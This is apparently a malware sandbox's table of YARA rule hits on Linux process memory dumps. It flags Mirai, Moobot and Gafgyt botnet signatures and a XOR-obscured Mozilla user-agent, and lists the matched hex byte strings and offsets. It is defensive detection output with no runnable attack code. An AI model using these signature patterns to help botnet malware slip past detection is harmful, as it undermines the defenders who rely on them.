6895.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6906.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6906.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6906.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6906.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6906.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6906.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7162.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6311.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7355.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6747.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6322.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6460.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6460.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6460.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6460.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6460.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6460.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7308.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7308.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7308.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7308.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7308.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7308.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6752.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6752.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6752.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6752.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6752.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6752.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6943.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6943.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6943.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6943.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6943.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6943.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7378.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7155.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6769.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
